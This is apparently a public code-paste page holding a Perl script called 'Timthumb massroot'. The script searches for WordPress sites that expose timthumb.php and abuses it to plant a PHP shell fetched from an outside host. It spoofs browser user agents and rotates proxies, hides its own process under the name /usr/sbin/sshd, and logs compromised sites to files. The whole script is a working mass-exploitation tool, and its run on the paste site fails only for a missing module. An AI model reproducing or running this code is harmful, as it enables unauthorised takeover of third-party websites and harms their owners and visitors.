fork(10) download 
  1. #!/usr/bin/perl
  2.  
  3. # MODULES
  4. #use strict;
  5. #use warnings;
  6. use IO::Socket;
  7. #use IO::Socket::SSL;
  8. use URI::_foreign;
  9. use URI::_generic;
  10. use URI::_query;
  11. use URI::https;
  12. use URI;
  13. use LWP;
  14. use LWP::Simple;
  15. use LWP::UserAgent;
  16. use LWP::Protocol::http;
  17. use URI::http;
  18. # use MIME::Base64::Perl;
  19. use MIME::Base64;
  20. use HTTP::Cookies;
  21. use HTTP::Request::Common qw(POST);
  22. use HTTP::Headers;
  23. use HTML::Parser;
  24. use Parallel::ForkManager;
  25. use IO::Socket;
  26. use LWP::Simple;
  27. use LWP::UserAgent;
  28. use HTTP::Cookies;
  29. use HTTP::Request::Common qw(POST);
  30. use HTTP::Headers;
  31. use Getopt::Long;
  32. use Time::HiRes qw(gettimeofday);
  33. if (@ARGV == 0){&usage();}
  34. #my $url = "http://w...content-available-to-author-only...a.de/";
  35. my $expl = "http://f...content-available-to-author-only...e.de/pictures.php";
  36. my $injects = "injects";
  37. my $pathfile="paths";
  38.  
  39. my $hostfile="words.txt";
  40. my $maximumprocess="100";
  41.  
  42. our $self=$0;
  43. my $hiddenprocess='/usr/sbin/sshd';
  44.  
  45. $0="$hiddenprocess"."\0"x16;;
  46.  
  47. GetOptions(
  48.         'h=s'    => \$hostfile,
  49.         'l=s' => \$localfile,
  50.         't|threads=s'      => \$maximumprocess,
  51.         'help'        => \&usage,
  52.         'hide=s'                => \$hiddenprocess,
  53.         'x' => \&start,
  54.  
  55. );
  56.  
  57.  
  58.  
  59. sub usage {
  60. print ("        [+]Timthumb massroot
  61.         -h host file (default words.txt)
  62.         -t|threads (default 100)
  63.         -help u are looking at it
  64.         -hide hidden process (default /usr/sbin/sshd)
  65. ");
  66. exit;
  67. }
  68.  
  69. sub start {
  70. print "[" . scalar localtime(time) . "][STARTED MASS ROUTING WITH $maximumprocess THREADS]\n\n";
  71.         my $forkmanager = new Parallel::ForkManager($maximumprocess);
  72.                 open(my $hosth, "<" . $hostfile);
  73.                     while (<$hosth>) {
  74.                         my $host = $_;
  75.                         $host =~ s/\x0a//g;
  76.                         chomp($host);
  77. #                       print $host . "\n";
  78.                 my $processid = $forkmanager->start() and next;
  79.                         &google2($host);
  80.                         $forkmanager->finish();
  81.  
  82.                 }
  83.                 close($hostfileh);
  84.                 $forkmanager->wait_all_children();
  85. } #end start
  86.  
  87.  
  88. sub google2() {
  89. my @uagents   = ("Microsoft Internet Explorer/4.0b1 (Windows 95)","Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)","Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)","Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)","Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)","Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)","Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)","Mozilla/4.0 (compatible; MSIE 7.0b; Win32)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Microsoft Pocket Internet Explorer/0.6","Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)","MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)","Advanced Browser (http://w...content-available-to-author-only...r.com)","Avant Browser (http://w...content-available-to-author-only...r.com)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)","Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)","Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)","Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511","Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox","Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b","Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0","Mozilla/3.0 (OS/2;U)","Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)","Mozilla/4.61 (Macintosh; I; PPC)","Mozilla/4.61 [en] (OS/2; U)","Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)","Mozilla/4.8 [en] (Windows NT 5.0; U)");
  90. my $ua = LWP::UserAgent->new(agent => "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]", env_proxy => 1, keep_alive => 1,timeout => 15);
  91. #my [MENTION=57691]dom[/MENTION]s = ("mobi","info","net","ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  92. #my [MENTION=57691]dom[/MENTION]s = ("biz","cat","com","coop","info","int","jobs","mobi","museum","name","net","org","travel","ac","ad","ae","af","ag","ai","al","am","an","ao","aq","ar","as","at","au","aw","az","ba","bb","bd","be","bf","bg","bh","bi","bj","bm","bn","bo","br","bs","bt","bv","bw","by","bz","ca","cc","cd","cf","cg","ch","ci","ck","cl","cm","cn","co","cr","cs","cu","cv","cx","cy","cz","de","dj","dk","dm","do","dz","ec","ee","eg","eh","er","es","et","eu","fi","fj","fk","fm","fo","fr","ga","gb","gd","ge","gf","gg","gh","gi","gl","gm","gn","gp","gq","gr","gs","gt","gu","gw","gy","hk","hm","hn","hr","ht","hu","id","ie","il","im","in","io","iq","ir","is","it","je","jm","jo","jp","ke","kg","kh","ki","km","kn","kp","kr","kw","ky","kz","la","lb","lc","li","lk","lr","ls","lt","lu","lv","ly","ma","mc","md","mg","mh","mk","ml","mm","mn","mo","mp","mq","mr","ms","mt","mu","mv","mw","mx","my","mz","na","nc","ne","nf","ng","ni","nl","no","np","nr","nu","nz","om","pa","pe","pf","pg","ph","pk","pl","pm","pn","pr","ps","pt","pw","py","qa","re","ro","ru","rw","sa","sb","sc","sd","se","sg","sh","si","sj","sk","sl","sm","sn","so","sr","st","su","sv","sy","sz","tc","td","tf","tg","th","tj","tk","tm","tn","to","tp","tr","tt","tv","tw","tz","ua","ug","uk","um","us","uy","uz","va","vc","ve","vg","vi","vn","vu","wf","ws","ye","yt","yu","za","zm","zr","zw");
  93. my $key=$_[0];
  94. #my $path=$_[1];
  95. my $counter=1;
  96. my $page=0;
  97. my $reqb;
  98. my $resb;
  99. my $random = int( rand(3));
  100. my $flag;
  101. my [MENTION=65778]googled[/MENTION];
  102. my $url;
  103.  
  104. #foreach my $dom  [MENTION=57691]dom[/MENTION]s) {
  105. #       print $dom. " Scanned\n";
  106. #       for (my $i=0; $i<=20; $i+=10){
  107.         $uagent = $uagents[rand(scalar(@uagents))];
  108.         $ua = LWP::UserAgent->new(agent => $uagent);
  109.         my $proxy = `perl -MList::Util -e 'print List::Util::shuffle <>' proxy.txt | tail -n 1`;
  110.         chomp($proxy);
  111. #       print $proxy . "\n";
  112.         my $url="http://a...content-available-to-author-only...s.com/ajax/services/search/images?v=1.0&start=1&rsz=large&q=timthumb.php%20site:" .$key;
  113.         my $encoded = encode_base64($url,"");
  114. #       print "Encoded url is " . $encoded . "\n";
  115.         sleep int(rand(5));
  116.         $url = $proxy . "?p=" . $encoded;
  117. #       print "request made " . $url . "\n";
  118.         my $proxy;
  119.         $reqb = HTTP::Request->new("GET", $url);
  120.         $resb = $ua->request($reqb);
  121.         my $join = join("",$resb->as_string);
  122.         while($join=~m/unescapedUrl":"(.*?)"/g){
  123.         my $link=$1;
  124.         if ($link=~m/(.*?)\/timthumb.php\?/){
  125.         my $direct=$1;
  126.         $direct .= "/timthumb.php";
  127. #       &check2($direct);
  128.         push [MENTION=65778]googled[/MENTION], $direct)
  129.         }
  130. #        print $link . "\n";
  131.         $link =~ s/\([-a-zA-Z0-9\.]+)\/\.*/\$1/\;
  132.         $link .= "/";
  133.         push [MENTION=65778]googled[/\MENTION], $link);
  134.  
  135.         } #end while
  136. #       } #end for
  137. #       my $forkmanagerb = new Parallel::ForkManager(1);
  138.         my %vhash   = map { $_ => 1 } [MENTION=65778]googled[/MENTION];
  139.         my @vhostuniq = keys %vhash;
  140.         print "[" . scalar localtime(time) . "][GOOGLE][Dork: " . $key ."][Domain: " .$key ."][Found: " . scalar @vhostuniq . "]\n";
  141.         foreach my $uni (@vhostuniq){
  142. #                my $processidb = $forkmanagerb->start() and next;
  143. #               print $uni . "\n";
  144.                 if ($uni=~m/timthumb.php/){
  145.                 &check2($uni);
  146.                 }
  147.                 else {
  148.                 &extract($uni);
  149.                 }
  150. #               $forkmanagerb->finish();
  151. #               $forkmanagerb->wait_all_children();
  152.         }
  153.         [MENTION=65778]googled[/MENTION]=();
  154. #       } #end foreach
  155. } #end sub
  156.  
  157. sub extract() {
  158. my $url = $_[0];
  159. my $ua = LWP::UserAgent->new(agent => "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]", env_proxy => 1, keep_alive => 1,timeout => 20);
  160. my $req = HTTP::Request->new("GET", $url);
  161. my $res = $ua->request($req);
  162. my $join = join("",$res->as_string);
  163. if ($join =~m/wp-content/){
  164. while (my $link=$join=~ m,(http.*?://([^\s)\"](?!ttp:))+),g) {
  165. my $link = $&;
  166. #print $link . "\n";
  167. if ($link =~ m,/wp-content/themes/,g){
  168. $link =~ m,(.*?)/wp-content/themes/(.*?)/,;
  169. my $site = $1;
  170. my $theme = $2;
  171. $link = $site . "/wp-content/themes/" . $theme . "/";
  172. #print $link . "\n";
  173. chomp($link);
  174. push (@links, $link)
  175. }
  176.  
  177. if ($link =~ m,/wp-content/plugins/,g){
  178. $link =~ m,(.*?)/wp-content/plugins/(.*?)/,;
  179. my $site = $1;
  180. my $plugin = $2;
  181. $link = $site . "/wp-content/plugins/" . $plugin . "/";
  182. chomp($link);
  183. #print $link . "\n";
  184. push (@links, $link)
  185. }
  186.  
  187.  
  188. } #end while extract
  189. } #end if
  190.  
  191. my [MENTION=83868]Uni[/MENTION] = &clean(@links);
  192. foreach my $uni  [MENTION=83868]Uni[/MENTION]) {
  193. #print $uni . "\n";
  194. &check($uni);
  195. }
  196.  
  197. } # end sub extract
  198.  
  199.  
  200. sub clean() {
  201.     my [MENTION=2441]cln[/MENTION] = ();
  202.     my %visit = ();
  203.     foreach my $element (@_) {
  204. #        $element =~ s/+/\//g;
  205.         next if $visit{$element}++;
  206.         push [MENTION=2441]cln[/MENTION], $element;
  207.     }
  208.     return [MENTION=2441]cln[/MENTION];
  209. } # end sub clean
  210.  
  211.  
  212. sub check() {
  213. my $attack = $_[0];
  214. #print "Atacking " . $attack . "\n";
  215.         open(my $injectfileh, "<" . $injects);
  216.         while(<$injectfileh>){
  217.         my $inject = $_;
  218.         $inject =~ s/\x0a//g;
  219.         chomp($inject);
  220.  
  221.  
  222. my $exploit = $attack . $inject . "?src=" . $expl;
  223.  
  224. my $uae = LWP::UserAgent->new(agent => "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]", env_proxy => 1, keep_alive => 1,timeout => 20);
  225. my $reqe = HTTP::Request->new("GET", $exploit);
  226. my $rese = $uae->request($reqe);
  227. my $output = join("",$rese->as_string);
  228. #print $exploit . "\n";
  229. #print $rese->as_string;
  230. if ($output =~ m/Unable to open image/){
  231. $output =~ m,Unable to open image : (.*?).php,g;
  232. my $shellpath=$1;
  233. #print $shellpath . "\n";
  234. $shellpath =~ m,/wp-content(.*),;
  235. my $path =$1;
  236. my $rooturl = $attack =~ m,(.*)/wp-content,;
  237. $rooturl=$1;
  238. #print $rooturl . "\n";
  239. my $checkurl =  $rooturl . "/wp-content/" .$path. ".php";
  240. &vuln($checkurl);
  241. }
  242. } # end while
  243.  
  244.  
  245. } #end sub check
  246.  
  247.  
  248.  
  249. sub check2() {
  250. my $attack2 = $_[0];
  251. #print "Atacking " . $attack2 . "\n";
  252.  
  253.  
  254. my $exploit = $attack2 . "?src=" . $expl;
  255.  
  256. my $uae = LWP::UserAgent->new(agent => "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]", env_proxy => 1, keep_alive => 1,timeout => 20);
  257. my $reqe = HTTP::Request->new("GET", $exploit);
  258. my $rese = $uae->request($reqe);
  259. my $output = join("",$rese->as_string);
  260. #print $exploit . "\n";
  261. #print $rese->as_string;
  262. if ($output =~ m/Unable to open image/){
  263. $output =~ m,Unable to open image : (.*?).php,g;
  264. my $shellpath=$1;
  265. #print $shellpath . "\n";
  266. $shellpath =~ m,/wp-content(.*),;
  267. my $path =$1;
  268. my $rooturl = $attack2 =~ m,(.*)/wp-content,;
  269. $rooturl=$1;
  270. #print $rooturl . "\n";
  271. my $checkurl =  $rooturl . "/wp-content/" .$path. ".php";
  272. &vuln($checkurl);
  273. }
  274.  
  275.  
  276. } #end sub check2
  277.  
  278.  
  279. sub vuln {
  280. my $vulnurl = $_[0];
  281. my $uae = LWP::UserAgent->new(agent => "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]", env_proxy => 1, keep_alive => 1,timeout => 20);
  282. my $reqe = HTTP::Request->new("GET", $vulnurl);
  283. my $rese = $uae->request($reqe);
  284. my $output = join("",$rese->as_string);
  285. if ($output =~ m/linkirc - jambihackerlink/i){
  286. #print $vulnurl ." is vuln \n";
  287. print "[" . scalar localtime(time) . "][VULN][" .$vulnurl ."]\n";
  288.  
  289.         open(OUT, ">>vuln.txt" );
  290.         print OUT $vulnurl . "\n";
  291.         close OUT;
  292.         open(OUT, ">>proxy.txt" );
  293.         print OUT $vulnurl . "\n";
  294.         close OUT;
  295.  
  296. #my $boturl= $vulnurl . "?bot";
  297. #my $reqe = HTTP::Request->new("GET", $boturl);
  298. #my $rese = $uae->request($reqe);
  299. #print "bot executed for ". $vulnurl . "\n";
  300. }
  301.  
  302. } #end sub vuln
Runtime error #stdin #stdout #stderr 0.02s 4588KB
comments (?)
stdin 
Standard input is empty
stdout 
Standard output is empty
stderr 
Can't locate URI/_foreign.pm in @INC (@INC contains: /usr/lib/perl5/site_perl/5.16.2/i686-linux /usr/lib/perl5/site_perl/5.16.2 /usr/lib/perl5/5.16.2/i686-linux /usr/lib/perl5/5.16.2 .) at prog.pl line 8.
BEGIN failed--compilation aborted at prog.pl line 8.
https://ideone.com/ZFeKFp
language:
Perl (perl 5.28.1)
created:
9 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!